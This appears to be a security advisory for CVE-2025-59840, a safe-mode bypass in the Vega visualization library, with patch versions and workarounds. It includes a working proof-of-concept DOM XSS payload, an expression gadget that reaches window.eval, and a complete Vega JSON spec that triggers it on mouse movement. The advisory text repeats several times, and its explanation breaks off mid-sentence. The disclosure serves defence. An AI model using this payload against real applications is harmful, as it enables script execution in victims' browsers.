CVE-2025-59840

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window and if they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode). Some workarounds are available. Do not attach vega View instances to global variables, and do not attach vega to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window and if they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode). Some workarounds are available. Do not attach vega View instances to global variables, and do not attach vega to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

Impact

Applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.

1. Use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window
2. Allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code)

Patches

• If using latest Vega line (6.x)
  • vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode)
• If using Vega in a non-ESM environment
  • ( vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode)

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading

• Do not attach vega View instances to global variables, as Vega editor used to do here
• Do not attach vega to the global window as the editor used to do here

These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

POC Summary

Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that overrides its toString method with a function that results in calling this.foo(this.bar), DOM XSS can be achieved.

In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.

({
    toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, 
    eventName: event.view.console.log,
    _handlers: {
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})+1

POC Details

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
        }

      ]
    }
  ]
}

This payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:

   on(a, o) {
        const u = this.eventName(a)
          , d = this._handlers;
        if (this._handlerIndex(d[u], a, o) < 0) {
        ....
        }
        ....
   }

1. Set u to the result of calling this.eventName with undefined
   • For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
2. Sets d to this._handlers
   • For our object, we have this defined to be used later
3. Calls this._handlerIndex with the result of u indexed into the d object as the first argument, and undefined as the second two.
   • For our object, _handlerIndex is set to window.eval, and when indexing undefined…

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window and if they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode). Some workarounds are available. Do not attach vega View instances to global variables, and do not attach vega to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window and if they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode). Some workarounds are available. Do not attach vega View instances to global variables, and do not attach vega to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window and if they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode). Some workarounds are available. Do not attach vega View instances to global variables, and do not attach vega to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

Impact

Applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.

1. Use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window
2. Allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code)

Patches

• If using latest Vega line (6.x)
  • vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode)
• If using Vega in a non-ESM environment
  • ( vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode)

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading

• Do not attach vega View instances to global variables, as Vega editor used to do here
• Do not attach vega to the global window as the editor used to do here

These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

POC Summary

Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that overrides its toString method with a function that results in calling this.foo(this.bar), DOM XSS can be achieved.

In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.

({
    toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, 
    eventName: event.view.console.log,
    _handlers: {
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})+1

POC Details

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
        }

      ]
    }
  ]
}

This payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:

   on(a, o) {
        const u = this.eventName(a)
          , d = this._handlers;
        if (this._handlerIndex(d[u], a, o) < 0) {
        ....
        }
        ....
   }

1. Set u to the result of calling this.eventName with undefined
   • For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
2. Sets d to this._handlers
   • For our object, we have this defined to be used later
3. Calls this._handlerIndex with the result of u indexed into the d object as the first argument, and undefined as the second two.
   • For our object, _handlerIndex is set to window.eval, and when indexing undefined…

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window and if they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode). Some workarounds are available. Do not attach vega View instances to global variables, and do not attach vega to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.